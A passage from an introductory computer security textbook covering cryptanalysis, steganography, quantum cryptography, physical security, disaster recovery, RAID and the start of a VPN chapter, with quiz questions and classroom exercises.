$$1 \times 0.997 \times 0.994 \times 0.991 \times 0.989 \times 0.986 \times \dots 0.936 \\ = 0.49, \text{ or } 49 \text{ percent}$$

This 49 percent is the probability that 23 people will not have any birthdays in common; thus, there is a 51 percent (better than even odds) chance that 2 of the 23 will have a birthday in common.

The math works out to about $1.7 \sqrt{n}$ to get a collision. Remember a collision is when two inputs produce the same output. So for an MD5 hash, you might think you

need $2^{128} + 1$ different inputs to get a collision. And for a guaranteed collision you do. That is an exceedingly large number: 3.4028236692093846346337460743177e+38. But the birthday paradox tells us that to just have a 51 percent chance of there being a hash, you only need $1.7 \sqrt{n}$ (n being 2^{128}) inputs. That number is still very large: 31,359,464,925,306,237,747.2. But it is much smaller than the effort of trying every single input!

Differential Cryptanalysis

Differential cryptanalysis is a form of cryptanalysis applicable to symmetric key algorithms. This was invented by Eli Biham and Adi Shamir. Essentially it is the examination of differences in an input and how that affects the resultant difference in the output. It originally worked only with chosen plaintext. However, it could also work with known plaintext and ciphertext only.

The attack is based on seeing pairs of plaintext inputs that are related by some constant difference. The usual way to define the differences is via XOR operation, but other methods can be used. The attacker computes the differences in the resulting ciphertexts and is looking for some statistical pattern. The resulting differences are called the *differential*. Put another way, differential cryptanalysis focuses on finding a relationship between

the changes that occur in the output bits as a result of changing some of the input bits.

Linear Cryptanalysis

This technique was invented by Mitsuru Matsui. It is a known plaintext attack and uses a linear approximation to describe the behavior of the block cipher. Given enough pairs of plaintext and corresponding ciphertext, bits of information about the key can be obtained. Obviously, the more pairs of plaintext and ciphertext one has, the greater the chance of success. Linear cryptanalysis is based on finding affine approximations to the action of a cipher. It is commonly used on block ciphers.

Remember cryptanalysis is an attempt to crack cryptography. For example, with the 56-bit DES key, brute force could take up to 2^{56} attempts. Linear cryptanalysis will take 2^{47} known plaintexts.¹ This is better than brute force, but still impractical for most situations.

STEGANOGRAPHY

Steganography is the art and science of writing hidden messages in such a way that no one, apart from the sender and intended recipient, suspects the existence of the message; this is a form of security through obscurity. The message is often hidden in some other file such as a digital picture or audio file, so as to defy detection.

The advantage of steganography, over cryptography alone, is that messages do not attract attention to themselves. If no one is aware the message is even there, then they won't even try to decipher it. In many cases messages are encrypted and hidden via steganography.

The most common implementation of steganography utilizes the least significant bits in a file in order to store data. By altering the least significant bit, one can hide additional data without altering the original file in any noticeable way.

Here are some basic steganography terms you should know:

- *Payload* is the data to be covertly communicated. In other words, it is the message you want to hide.
- The *carrier* is the signal, stream, or data file into

which the payload is hidden.

- The *channel* is the type of medium used. This might be still photos, video, or sound files.

Although the use of digital steganography is obviously rather recent, the concept of hiding messages is not. Here are some instances of historical hidden messages:

- The ancient Chinese wrapped notes in wax and swallowed them for transport.
- In ancient Greece a messenger's head might be shaved, a message written on his head, then his hair was allowed to grow back.
- In the early 1500s Johannes Trithemius wrote a book on cryptography and described a technique where a message was hidden by having each letter taken as a word from a specific column.

In more recent times, but before the advent of computers, other methods were used to hide messages:

- During WWII the French Resistance sent messages written on the backs of couriers using invisible ink.
- Microdots are images/undeveloped film the size of a typewriter period, embedded on innocuous documents. These were said to be used by spies during the Cold War.

The most common way steganography is accomplished today is via least significant bits. Every file has a certain number of bits per unit of the file. For example, an image file in Windows is 24 bits per pixel. If you change the least significant of those bits, then the change is not noticeable with the naked eye. For example, one can hide information in the least significant bits of an image file. With least significant bit (LSB) replacement, certain bits in the carrier file are replaced.

Steganophony is a term for hiding messages in sound files. This can be done with the LSB method or other methods, such as echo hiding, which adds extra sound to an echo inside an audio file—that extra sound conceals information.

Information can also be hidden in video files. Various methods to accomplish this exist. Discrete Cosine Transform is often used for video steganography. This method alters values of certain parts of the individual frames. The usual method is to round up the values.

A number of tools are available for implementing steganography. Many are free or at least have a free trial version. A few of these tools are listed here:

- **QuickStego:** Easy to use but very limited
- **Invisible Secrets:** Much more robust with both a free and commercial version

- **MP3Stego:** Specifically for hiding payload in MP3 files
- **Stealth Files 4:** Works with sound files, video files, and image files
- **SNOW:** Hides data in whitespace

STEGANALYSIS

Forensics examiners must be concerned with detecting steganography and extracting the hidden information. This task is usually done by software, but understanding what the software is doing is important. By analyzing changes in an image's close color pairs, the steganalyst can determine whether LSB substitution was used. Close color pairs consist of two colors whose binary values differ only in the LSB.

Several methods exist for analyzing an image to detect hidden messages, one of which is the Raw Quick Pair (RQP) method. This is based on statistics of the numbers of unique colors and close-color pairs in a 24-bit image. RQP analyzes the pairs of colors created by LSB embedding.

Another option uses the chi-squared method from statistics. Chi-square analysis calculates the average LSB and builds a table of frequencies and pair of values. It then performs a chi-square test on these two tables.

Essentially, it measures the theoretical versus the calculated population difference.

Steganalysis of audio files involves examining noise distortion in the carrier file. Noise distortion could indicate the presence of a hidden signal.

QUANTUM COMPUTING AND QUANTUM CRYPTOGRAPHY

Innovations in quantum computing promise to significantly increase computing power. This will provide advances in numerous aspects of computing including data mining, artificial intelligence, and other applications. However, the increase in computing power will also present a challenge for cryptography. Computing relies on individual bits to store information. Quantum computing relies on qubits.

The essential issue with quantum computing is the ability to represent more than two states. Current computing technology, using classical bits, can only represent binary values. Qubits, or quantum bits, store data via the polarization of a single photon. The two basic states are horizontal or vertical polarization. However, quantum mechanics allows for a superposition of the two states at the same time. This is

something simply not possible in a classical bit. The two states of a qubit are represented with quantum notation as $|0\rangle$ or $|1\rangle$. These represent horizontal or vertical polarization. A qubit is the superposition of these two basis states. This superposition is represented as $|\psi\rangle = \alpha|0\rangle + \beta|1\rangle$.

Essentially a classical bit can represent a one or a zero. A qubit can represent a one, a zero, or any quantum superposition of those two qubit states. This superposition allows for much more powerful computing. The superposition allows the qubit to store a one, a zero, both a one and a zero, or an range of values between one and zero. This significantly increases data storage and data processing power.

There are already quantum based algorithms that are far superior at factoring large numbers than are classical algorithms. That is a critical issue because the widely used RSA algorithm is based on the difficulty of factoring a large number into its prime factors. When quantum computers become a reality, that factoring problem will no longer be difficult, and RSA will be obsolete. Various key exchange algorithms such as Diffie-Hellman depend on the difficulty in solving the discrete logarithm problem. The two most significant improvements to Diffie-Hellman, ElGamal, and MQV (Menezes-Qu-Vanstone) also depend on the discrete

logarithm problem. Elliptic curve cryptography is based on the difficulty of solving the discrete logarithm problem with respect to an elliptic curve. Quantum algorithms will also make the discrete logarithm problem quite solvable, thus rendering these algorithms obsolete as well.

Essentially all current asymmetric cryptography is based on one of these two general classes of number theoretic problems: factoring or solving the discrete logarithm problem. Essentially, when quantum computers become a practical reality, rather than just a research interest, all modern asymmetric algorithms will become obsolete. This is a significant concern for cyber security because all modern e-commerce, encrypted e-mail, and secure communications over a network depend on these algorithms. Currently, the NIST is working on a multi-year study to determine standards for post-quantum cryptography. And there are several promising cryptographic systems. It is beyond the scope of this chapter to explore quantum cryptography in depth; however, lattice based cryptography and multi-variate cryptography look to be good candidates for post quantum computing cryptographic systems.

SUMMARY

Encryption is a basic element of computer security. You should never send sensitive data that has not been encrypted. Encrypting your system's hard drives is also a good idea, so that if they are stolen, the valuable data on the drives is less likely to be compromised. Reading this chapter won't qualify you as a cryptographer, but the information it provides does offer a basic outline of how cryptography works. In the following exercises, you will practice using different cipher methods and learn more about a number of encryption methods.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. Why is encryption an important part of security?
 - A. No matter how secure your network is, the data being transmitted is still vulnerable without encryption.
 - B. Encrypted transmissions will help stop denial of service attacks.
 - C. A packet that is encrypted will travel faster

across networks.

D. Encrypted transmissions are only necessary with VPNs.

2. Which of the following is the oldest known encryption method?

A. PGP

B. Multi-alphabet

C. Caesar cipher

D. Cryptic cipher

3. Which of the following is the primary weakness in the Caesar cipher?

A. It does not disrupt letter frequency.

B. It does not use complex mathematics.

C. It does not use a public key system.

D. There is no significant weakness; the Caesar cipher is adequate for most encryption uses.

4. An improvement on the Caesar cipher that uses more than one shift is called a what?

A. DES encryption

B. Multi-alphabet substitution

C. IDEA

D. Triple DES

- 5.** Which binary mathematical operation can be used for a simple encryption method?
- A.** Bit shift
 - B.** OR
 - C.** XOR
 - D.** Bit swap
- 6.** Why is the method described in Question 5 not secure?
- A.** It does not change letter or word frequency.
 - B.** The mathematics are flawed.
 - C.** It does not use a symmetric key system.
 - D.** The key length is too short.
- 7.** Which of the following is a symmetric key system using blocks?
- A.** RSA
 - B.** DES
 - C.** PGP
 - D.** Diffie-Hellman
- 8.** What is the primary advantage of the encryption algorithm described in Question 7?
- A.** It is complex.
 - B.** It is unbreakable.

- C.** It uses asymmetric keys.
 - D.** It is relatively fast.
- 9.** What size key does the algorithm in question 7 use?
- A.** 255 bit
 - B.** 128 bit
 - C.** 56 bit
 - D.** 64 bit
- 10.** What type of encryption uses a different key to encrypt the message than it uses to decrypt the message?
- A.** Private key
 - B.** Public key
 - C.** Symmetric
 - D.** Secure
- 11.** Which of the following is an encryption method developed by three mathematicians in the 1970s?
- A.** PGP
 - B.** DES
 - C.** DSA
 - D.** RSA
- 12.** Which encryption algorithm uses a variable-

length symmetric key?

- A. RSA**
- B. Blowfish**
- C. DES**
- D. PGP**

13. Which of the following encryption algorithms is a block cipher, and uses the Rijndael algorithm?

- A. DES**
- B. RSA**
- C. AES**
- D. NSA**

14. If you are using a block cipher to encrypt large amounts of data, which of the following would be the most important consideration when deciding which cipher to use (assuming all of your possible choices are well known and secure)?

- A. Size of the keys used**
- B. Speed of the algorithm**
- C. Whether or not it has been used by any military group**
- D. Number of keys used**

15. Which of the following has three different key

sizes it can use?

- A. AES**
- B. DES**
- C. Triple DES**
- D. IDEA**

16. Which of the following is the most common legitimate use for a password cracker?

- A.** There is no legitimate use for a password cracker.
- B.** Military intelligence agents using it to break enemy communications.
- C.** Testing the encryption of your own network.
- D.** Trying to break the communications of criminal organizations in order to gather evidence.

17. What is a digital signature?

- A.** A piece of encrypted data added to other data to verify the sender
- B.** A scanned-in version of your signature, often in .jpg format
- C.** A signature that is entered via a digital pad or other device
- D.** A method for verifying the recipient of a

document

18. What is the purpose of a certificate?

- A.** To verify that software is virus free
- B.** To guarantee that a signature is valid
- C.** To validate the sender of a digital signature or software
- D.** To validate the recipient of a document

19. Who issues certificates?

- A.** The UN encryption authority
- B.** The United States Department of Defense
- C.** A private certificate authority
- D.** The Association for Computing Machinery

EXERCISES

EXERCISE 6.1: Using the Caesar Cipher

Note: This exercise is well suited for group or classroom exercises.

- 1.** Write a sentence in normal text.
- 2.** Use a Caesar cipher of your own design to encrypt it.
- 3.** Pass the encrypted sentence to another person in

your group or class.

4. Time how long it takes that person to break the encryption.
5. (optional) Compute the mean time for the class to break Caesar ciphers.

EXERCISE 6.2: Using Binary Block Ciphers

1. Write a single sentence in normal text.
2. Convert the text to ASCII. You can find several websites with ASCII code tables, such as <http://www.asciitable.com>.
3. Convert each character to binary.
4. Create a random 16-bit key. You can literally simply write down a random string of 1s and 0s.
5. XOR that key with your text.
6. Pass the encrypted sentence to another student in class and give her a chance to decipher it.
7. When all students have had adequate opportunity to break their fellow students' encryption, have them give each other the appropriate key.

EXERCISE 6.3: Certificate Authorities

1. Search the web for certificate authorities.
2. Compare two certificate authorities. Which of the two would you recommend?
3. What reasons would you give a client for recommending the certificate authority you chose?

EXERCISE 6.4: Password Cracking

1. Download a password cracker of your choice.
2. Attempt to crack the password on your own PC.
3. Describe the results of your experiment. Were you able to crack the password? If so, how long did it take?
4. How does changing your password to make it more difficult affect the time it takes to crack the password?

PROJECTS

PROJECT 6.1: RSA Encryption

Using the web or other resources, write a brief paper about quantum encryption. Of particular interest should be the current state of research in that field (as opposed to simple background/history). You should also address what significant impediments there are to implementing

quantum encryption.

PROJECT 6.2: Programming Caesar Cipher

Note: This project is for those students with some programming background.

Write a simple program, in any language you prefer or in the language your instructor recommends, that can perform a Caesar cipher. This chapter explains how this cipher works and offers some ideas for how to use ASCII codes for encryption in any standard programming language.

PROJECT 6.3: Historical Encryption

Find an encryption method that has been used historically but is no longer used (such as the Enigma cipher of the Germans in World War II). Describe how that encryption method works, paying particular attention to how it contrasts with more modern methods.

PROJECT 6.4: Password Cracking

Follow the steps in Exercise 6.4 with at least two other password-cracking utilities, and then write a report comparing and contrasting the password crackers. Note which one you think is most efficient. Also explain how

using such a utility can be beneficial to a network administrator.

1. Matsui, M. (1999) Linear Cryptanalysis Method for DES.
<https://www.cs.bgu.ac.il/~beimel/Courses/crypto2001/Matsui.pdf>.

Chapter 14

Physical Security and Disaster Recovery

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Understand physical security.
- Implement physical security.
- Understand disaster recovery.
- Understand business continuity.

INTRODUCTION

Physical security is a topic that is all too often overlooked by security professionals. Most IT security personnel think of security in terms of firewalls, antivirus, and other technological solutions. However, the fact is that physical security is just as important as technological security.

Disaster recovery is another area that many IT professionals find to be less exciting than technological security; however, it is a key part of network security.

Both the ISC2 CISSP exam and the CompTIA Security+ exam strongly emphasize physical security and disaster recovery. This should be an indication of how important these topics are.

PHYSICAL SECURITY

Physical security is actually a multifaceted topic. The most obvious issue is to physically secure machines, but beyond that you must consider issues such as controlling access to your building and knowing how to respond to fires. Monitoring systems such as alarms and cameras are also a part of physical security.

Equipment Security

Physical security begins with controlling access to the building and to key rooms within the building. At the most basic level it includes having a locked door on the server room. In addition to that you must also have some way of controlling who has access to that room. A highly recommended approach is a swipe card or password key entry system that records who enters the room and when. You should also consider the room itself. It should not have a window, or if it does it should be a reinforced window and someone outside should not be able to easily view inside the room. The room should also be fireproof, because a fire in the server room would be a significant disaster.

The server room is obviously a key item to secure, but it is not the only item. If routers or switches are distributed in the building, they must be in locations that are not easily accessible by unauthorized personnel. Locked closets make a good location for these items. Locking down workstations so they are secured to the desk is also a common practice. This makes theft of those computers significantly more difficult.

Essentially any device that is itself valuable or contains data that is valuable must be physically secured. Equipping mobile business phones with the ability to remotely wipe them is also becoming common practice.

That way if they become stolen or lost, the administrator can remotely wipe all data on the phone.

Securing Building Access

After you have secured the equipment you must also control access to the building itself. A common method is to have a locked door or turnstile that requires an employee ID to enter. A sign-in sheet is also a good way to track who enters and exits your office. The level of effort put into securing physical access to the building will vary depending on the organization's security needs.

A *man trap* is an often-used security mechanism in high-security environments. A man trap consists of two doors with a short hallway between them. The second door cannot open until the first door is closed. This prevents tailgating, which is the process of an unauthorized person following an authorized person through a secure door. This can be further enhanced by having each door use a different authentication method. Perhaps the first door requires a key and the second requires a passcode. This two-factor authentication system would be difficult for an intruder to circumvent.

Other methods of securing building access include the external areas of a building. For example, a parking lot

can be designed so that a person must make turns every 50 feet or so to exit. This prevents a thief or intruder from “speeding away” and makes it more likely that someone will be able to note their license plate, or that even police might arrive before they escape.

Fences are also important. Having some level of fencing is essential. High-security environments might use a tall fence, even topped with concertina wire. This might not be appropriate for many organizations, but even a decorative hedgerow provides some level of barrier to slow down intruders.

Lighting is also important. Intruders usually prefer to enter in the dark to reduce the chance of being noticed or even caught. A well-lighted external building impedes intruders’ intentions to enter surreptitiously. Furthermore, internal lighting can also be helpful. You probably notice that many retail stores leave the store lights on after closing. This allows passing police officers to easily see whether someone is in the building.

Monitoring

Video monitoring is becoming more affordable and more sophisticated. High-definition video cameras, including cameras with night vision capability, are now fairly inexpensive. Retail stores often find that by placing cameras in highly visible areas, the incidence of theft declines. Stoplights equipped with cameras usually reduce the number of people who run red lights.

Placing cameras in or around your facility requires a little bit of thought. First and foremost, the cameras must be placed so that they have an unobstructed view of the areas you want to monitor. At a minimum, all entrances and exits should have camera monitoring. You might also want cameras in main internal hallways, just outside critical areas (that is, server rooms), and possibly around the perimeter of your building. The cameras also need to be placed so that they are not easily disabled by an intruder. This usually means placing them at a height that is difficult for someone to reach.

You should also consider the type of cameras you are placing. If you don't have adequate external lighting, then night vision-capable cameras are important. You might want cameras that transmit their signal to a remote location for storage. If you choose to transmit

the camera feed, make sure the signal is secure so that someone cannot easily tap into the signal.

Fire Protection

Obviously, a fire will destroy servers and other equipment. Having adequate fire alarms and fire extinguishers in your facility is important. Fire extinguishers can be classified by what types of fire they are able to put out:

- **Class A:** Ordinary combustibles such as wood or paper
- **Class B:** Flammable liquids such as grease, oil, or gasoline
- **Class C:** Electrical equipment
- **Class D:** Flammable metals

Fire suppression systems are common in larger office buildings. These systems are divided into three categories:

- **Wet Pipe**
 - Always contains water
 - Most popular and reliable
 - 165-degree fuse melts

- Can freeze in winter
- Pipe breaks can cause floods
- Dry Pipe
 - No water in pipe
 - Preferred for computer installations
 - Water held back by clapper
 - Air blows out of pipe, water flows
- Pre-action
 - Usually recommended for computer rooms
 - Basically operates like a dry pipe
 - When a certain temperature is reached, water goes into the pipe, then is released when a higher temperature is reached

Having a plan to address fires is important. Depending on budget and security needs, your plan can be as simple as well-placed smoke alarms and a fire extinguisher or as complex as a series of fire suppression systems with an alarm system that automatically notifies the fire department.

General Premises Security

“Crime Prevention Through Environmental Design” (CPTED) is a security concept organizations use. This means that the layout and design of the premises reduces crimes. This can be done with several methods. One is to incorporate barriers into the layout and design of a building. For example, bollards would prevent a vehicle from crashing into a door, and can also be decorative. Fences, lighting, and alarms all deter physical entrance into a building.

Operational activities can also enhance building security. For example, having all visitors sign in and having them escorted in the building is an inexpensive but effective security technique. Having all deliveries to a central location, rather than allowing delivery personnel access to the building, is another effective security measure.

DISASTER RECOVERY

Before we can discuss disaster recovery, we have to define what a disaster is. A *disaster* is any event that significantly disrupts your organization's operations. A hard drive crash on a critical server is a disaster. Other examples include fire, earthquake, your telecom provider being down, a labor strike that affects shipping to and from your business, and a hacker deleting critical files. Just keep in mind that any event that can significantly disrupt your organization's operations is a disaster.

Disaster Recovery Plan

You should have a disaster recovery plan (DRP) in place to guide the return of the business to normal operations. This must include a number of items. You must address personnel issues, which means being able to find temporary personnel if needed, and being able to contact the personnel you have employed. It also includes having specific people assigned to specific tasks. If a disaster occurs, who in your organization is tasked with the following?

- Locating alternative facilities
- Getting equipment to those facilities

- Installing and configuring software
- Setting up the network at the new facility
- Contacting staff, vendors, and customers

These are just a few issues that a disaster recovery plan must address; your organization may have more issues that would need to be addressed during a disaster.

Business Continuity Plan

A business continuity plan (BCP) is similar to a disaster recovery plan but with a different focus. The DRP is designed to get the organization back to full functionality as quickly as possible. A business continuity plan is designed to get minimal business functions back up and running at least at some level so you can conduct some type of business. An example would be a retail store whose credit card processing system is down. Disaster recovery is concerned with getting the system back up and running at full functionality, essentially like the disaster never happened. Business continuity is concerned with simply offering a temporary solution, such as processing credit cards manually.

To successfully formulate a business continuity plan one must consider which systems are most critical for

your business and have an alternative plan in case those systems go down. The alternative plan need not be perfect, just functional.

Determining Impact on Business

Before you can create a realistic DRP or BCP you have to do a business impact analysis (BIA) of what damage to your organization a given disaster might cause. Consider a web server crash. If your organization is an e-commerce business, then a web server crash is a very serious disaster. However, if your business is an accounting firm and the website is just a way for new customers to find you, then a web server crash is less critical. You can still do business and earn revenue while the web server is down. You should make a spreadsheet of various likely or plausible disasters and do a basic business impact analysis for each.

An issue to consider in your BIA includes the maximum tolerable downtime (MTD). How long can a given system be down before the effect is catastrophic and the business is unlikely to recover? Another item to consider is the mean time to repair (MTTR). How long is it likely to take to repair a given system if it is down? You must also consider the mean time between failures (MTBF). In other words, how frequently does this

particular service or device fail? These factors help you to determine the business impact of a given disaster.

All of this data will lead you to a recovery time objective (RTO). That is the time by which you intend to have a service back up and running, should there be a failure. This should always be less than the MTD. For example, if the MTD for your e-commerce server is 48 hours, your RTO might be set at 32 hours, providing a significant margin of error.

Another important concept is recovery point objective (RPO). This is how much data you can tolerate losing. Imagine you do a back up every 10 minutes. If the server you are backing up fails seconds before the next backup, you will have lost 9 minutes and about 55 to 59 seconds of work/data. That will all have to be redone manually. Is this tolerable? That depends on your organization.

Testing Disaster Recovery

Once you have both a DRP and a BCP, you need to periodically test those plans to ensure they will actually work as expected. There are five types of tests, discussed in order from the least intrusive, easiest to conduct, to the most difficult but most informative type of test.

Document Review/Checklist

This type of testing is usually done by an individual. The BCP and/or DRP are simply reviewed to see if everything is covered. They are compared to check lists, perhaps check lists from various standards (like PCI or HIPAA).

Walkthrough/Tabletop

This is a team effort. A team sits in a conference room and goes through the BCP and/or DRP and discusses scenarios. For example, “What if there was a fire in the server room?” Then the plans are consulted to see if that is covered adequately and appropriately.

Simulation

The purpose of this type of test is to simulate some sort of disaster. A team or an individual might conduct this type of test. It involves moving around in the organization and asking specific individuals “what if” scenarios. For example, you might ask the database administrator “What is the plan should our financial data server crash now?” The purpose of this is to see if everyone knows what to do if a disaster occurs.

Parallel

This test is about seeing if all backup systems come online. That would include restoring backup media, turning on backup power systems, initializing secondary communication systems, etc.

Cut-off/Full Interruption

This is the ultimate test. You actually shut down real systems and see if the BCP/DRP works. From one perspective, if you don't ever do this level of testing, then you don't really know if your plans will work. However, if this goes wrong, then you have just *caused* a disaster.

To avoid generating a disaster, there are some steps you can take. The first is to not even consider this test until you have successfully completed the previous tests. In fact, all of these tests should be done in order. First do a document/check list. If and only if that is successful, then move to a tabletop. Then if that works move to a simulation.

Secondly, you should schedule this type of test during downtime for the company. At a time when, if things go wrong, it will cause the least impact on the business. For example, if this is a bank, then don't do this test Monday morning. Perhaps Saturday afternoon would be best.

This would give you a chance to fix anything that goes wrong.

Disaster Recovery Related Standards

You need not create your BCP or DRP in a vacuum. There are numerous standards you can, and should, consult. In this section we briefly discuss a few of these standards.

ISO/IEC Standards

There are several ISO standards that can help guide you in formulating a BCP or DRP.

- **ISO/IEC 27035: Information Security Incident Management.** This standard provides a structured and planned approach to:
 - detect, report, and assess information security incidents;
 - respond to and manage information security incidents;
 - detect, assess, and manage information security vulnerabilities; and
 - continuously improve information security and incident management as a result of managing information security incidents and

vulnerabilities

- ISO/IEC 27001: Requirements for Information Security Management Systems. Section 14 addresses business continuity management.
- ISO/IEC 27002: Information technology - Security techniques - Code of practice for information security controls.

NIST Standards

NIST SP 800-61 Rev. 2, *Computer Security Incident Handling Guide*, is a standard for how to establish incident response plans and policies.

According to this standard, an incident response capability should include the following actions:

- Creating an incident response policy and plan
- Developing procedures for performing incident handling and reporting
- Setting guidelines for communicating with outside parties regarding incidents
- Selecting a team structure and staffing model
- Establishing relationships and lines of communication between the incident response team and other groups, both internal (e.g., legal

department) and external (e.g., law enforcement agencies)

- Determining what services the incident response team should provide
- Staffing and training the incident response team.

NIST SP 800-34 Rev. 1, *Contingency Planning Guide for Information Technology Systems*, is specifically about how to handle incidents, including disasters, for IT systems. The standard includes a seven-step process for BCP and DRP projects:

1. Develop the contingency planning policy statement.
2. Conduct the business impact analysis (BIA).
3. Identify preventative controls.
4. Create contingency strategies.
5. Develop an information system contingency plan.
6. Ensure plan testing, training, and exercises.
7. Ensure plan maintenance.

ENSURING FAULT TOLERANCE

At some point all equipment fails, so being fault tolerant is important. At the most basic level fault tolerance for a server means having a backup. If the server fails, did you back up the data so you can restore it? Although database administrators might use a number of different types of data backups, from a security point of view the three-primary backup types are:

- **Full:** All changes
- **Differential:** All changes since last full backup
- **Incremental:** All changes since last backup of any type

Consider a scenario where you do a full backup at 2 a.m. each morning. However, you are concerned about the possibility of a server crash before the next full backup. So, you want to do a backup every two hours. The type of backup you choose will determine the efficiency of doing those frequent backups and the time needed to restore. Let's consider each type of backup in a crash scenario and what would happen if the system crashes at 10:05 a.m.

- **Full:** In this scenario you do a full backup at 4 a.m., 6 a.m., ...10 a.m., and then the system crashes. You

just have to restore the last full backup, which was done at 10 a.m. This makes restoration much simpler. However, running a full backup every 2 hours is very time consuming and resource intensive and will have a significant negative impact on your server's performance.

■ **Differential:** In this scenario you do a differential backup at 4 a.m., 6 a.m., ...10 a.m., and then the system crashes. You need to restore the last full backup done at 2 a.m., and the most recent differential backup done at 10 a.m. This is just a little more complicated than the full backup strategy. However, those differential backups are going to get larger each time you do them, and thus more time consuming and resource intensive. Although they won't have the same impact as doing full backups, they will still slow down your network.

■ **Incremental:** In this scenario you do an incremental backup at 4 a.m., 6 a.m., ...10 a.m., and then the system crashes. You need to restore the last full backup done at 2 a.m., and then each incremental backup done since then, and they must be restored in order. This is a much more complex restore, but each incremental backup is small and does not take much time nor consume many resources.

There is no “best” backup strategy. Which one you select will depend on your organization’s needs. Whatever backup strategy you choose, you must periodically test it. The only effective way to test your backup strategy is to actually restore the backup data to a test machine.

The other fundamental aspect of fault tolerance is RAID, or redundant array of independent disks. RAID allows your servers to have more than one hard drive, so that if the main hard drive fails, the system keeps functioning. The primary RAID levels are described here:

- RAID 0 (striped disks) distributes data across multiple disks in a way that gives improved speed at any given instant. This offers NO fault tolerance.
- RAID 1 mirrors the contents of the disks, making a form of 1:1 ratio real-time backup. This is also called mirroring.
- RAID 3 or 4 (striped disks with dedicated parity) combines three or more disks in a way that protects data against loss of any one disk. Fault tolerance is achieved by adding an extra disk to the array and dedicating it to storing parity information. The storage capacity of the array is reduced by one disk.
- RAID 5 (striped disks with distributed parity) combines three or more disks in a way that protects

data against the loss of any one disk. It is similar to RAID 3 but the parity is not stored on one dedicated drive; instead parity information is interspersed across the drive array. The storage capacity of the array is a function of the number of drives minus the space needed to store parity.

- RAID 6 (striped disks with dual parity) combines four or more disks in a way that protects data against loss of any two disks.
- RAID 1+0 (or 10) is a mirrored data set (RAID 1) that is then striped (RAID 0), hence the “1+0” name. A RAID 1+0 array requires a minimum of four drives: two mirrored drives to hold half of the striped data, plus another two mirrored for the other half of the data.

My personal opinion is that a server without at least RAID level 1 is gross negligence on the part of the network administrator. Using RAID 5 with servers is actually very popular.

Some students struggle with how a parity bit can be used to recover lost data. This depends on a very simple mathematical operation, the exclusive OR (XOR). Let's assume you have a single byte (8 bits) stored on drive 1, and another byte stored on drive 2:

Drive 1 = 10101010

Drive 2 = 00001111

You XOR the two values together, and store the resulting bits:

Drive 1 = 10101010

Drive 2 = 00001111

XOR = 10100101

The value 10100101 gets stored as parity bits. Now at some later time, drive 2 fails and the data is lost. All you need to do is XOR the parity bits with the remaining drive, and you will get back the original bits:

Parity bits 10100101

Drive 1 10101010

Result is 00001111

So you get back the missing data. This is how the parity bits in RAID 3, 4, 5, and 6 work.

Although RAID and backup strategies are the fundamental issues of fault tolerance, any backup system provides additional fault tolerance. This can include uninterruptable power supplies, backup generators, and redundant Internet connections.

SUMMARY

Physical security and disaster recovery are two very critical topics in IT security. They don't often seem as exciting to security practitioners who like to focus on more technical issues, but they are critical. This chapter reviewed the basics of physical security. You were also introduced to disaster recovery planning and business continuity planning. It should also be noted that if you take any of the major security certifications (CISSP, GSEC, Security+, etc.), these will figure prominently.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. How should a company test the integrity of its backup data?
 - A. By conducting another backup
 - B. By using software to recover deleted files
 - C. By actually restoring the backup
 - D. By using testing software
2. This method is primarily run when time and tape space permits and is used for the system archive or

baselined tape sets:

- A.** Full backup method
 - B.** Incremental backup method
 - C.** Differential backup method
 - D.** Tape backup method
- 3.** Business continuity plan development depends most on:
- A.** Directives of senior management
 - B.** Business impact analysis (BIA)
 - C.** Scope and plan initiation
 - D.** Skills of BCP committee
- 4.** Which of the following focuses on sustaining an organization's business functions during and after a disruption?
- A.** Business continuity plan
 - B.** Business recovery plan
 - C.** Continuity of operations plan
 - D.** Disaster recovery plan
- 5.** Which RAID level uses mirroring?
- A.** 1
 - B.** 2
 - C.** 4

D. 5

6. What is a man trap?

A. A trusted security domain

B. A logical access control mechanism

C. A double-door facility used for physical access control

D. A fire suppression device

7. _____ is the plan for recovering from an IT disaster and having the IT infrastructure back in operation.

A. BIA

B. DRP

C. RTO

D. RPO

8. RAID _____ combines three or more disks in a way that protects data against loss of any one disk. Fault tolerance is achieved by adding an extra disk to the array and dedicating it to storing parity information. The storage capacity of the array is reduced by one disk.

A. 1

B. 3

C. 5

D. 6

9. Which RAID level offers dual parity?

A. 3

B. 4

C. 5

D. 6

10. Which of the following determines the actual damage to the business if a given disaster occurs to a given system?

A. DRP

B. BIA

C. BCP

D. ROI

EXERCISES

EXERCISE 14.1

Create a disaster recovery plan for a fictitious business that has the following characteristics:

- This is an urgent care clinic.
- The staff is 4 doctors, 10 nurses, and 2 nurse practitioners.

- They are open 7 days a week, 18 hours per day.
- The primary issue is treating patients.

Chapter 7

Virtual Private Networks

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Use a virtual private network (VPN).
- Use Point-to-Point Tunneling Protocol (PPTP) as an encryption tool for VPNs.
- Use Layer 2 Tunneling Protocol (L2TP) as an encryption tool for VPNs.
- Add security and privacy to a communication using IPSec.
- Understand and evaluate VPN solutions.

INTRODUCTION

Earlier chapters focus primarily on security within a network. However, what happens when remote users want to log on to a network versus a remote user simply accessing a web server or FTP server on the network? This process involves a remote user, perhaps an entire remote office, connecting to the network and accessing resources just as if she were on your local network. This clearly presents significant security issues.

Virtual private networks (VPNs) are becoming a common way to connect remotely to a network in a secure fashion. A VPN creates a private network connection over the Internet to connect remote sites or users together. Instead of using a dedicated connection such as leased lines, a VPN uses virtual connections routed through the Internet from the remote site or user to the private network. Security is accomplished by encrypting all the transmissions.

A VPN allows a remote user to have network access just as if she were local to the private network. This means not only connecting her to the network as if she were local but also making the connection secure. Because most organizations have many employees traveling and working from home, remote network access has become an important security concern. Users want access, and

administrators want security. The VPN is the current standard for providing both.

BASIC VPN TECHNOLOGY

To accomplish its purpose, the VPN must emulate a direct network connection. This means it must provide both the same level of access and the same level of security as a direct connection. To emulate a dedicated point-to-point link, data is encapsulated, or wrapped, with a header that provides routing information allowing it to transmit across the Internet to reach its destination. This creates a virtual network connection between the two points. The data being sent is also encrypted, thus making that virtual network private.

Internet Week gave an excellent definition of a VPN. This is very old, but still applies today: “a combination of tunneling, encryption, authentication, and access control technologies and services used to carry traffic over the Internet, a managed IP network, or a provider’s backbone.”

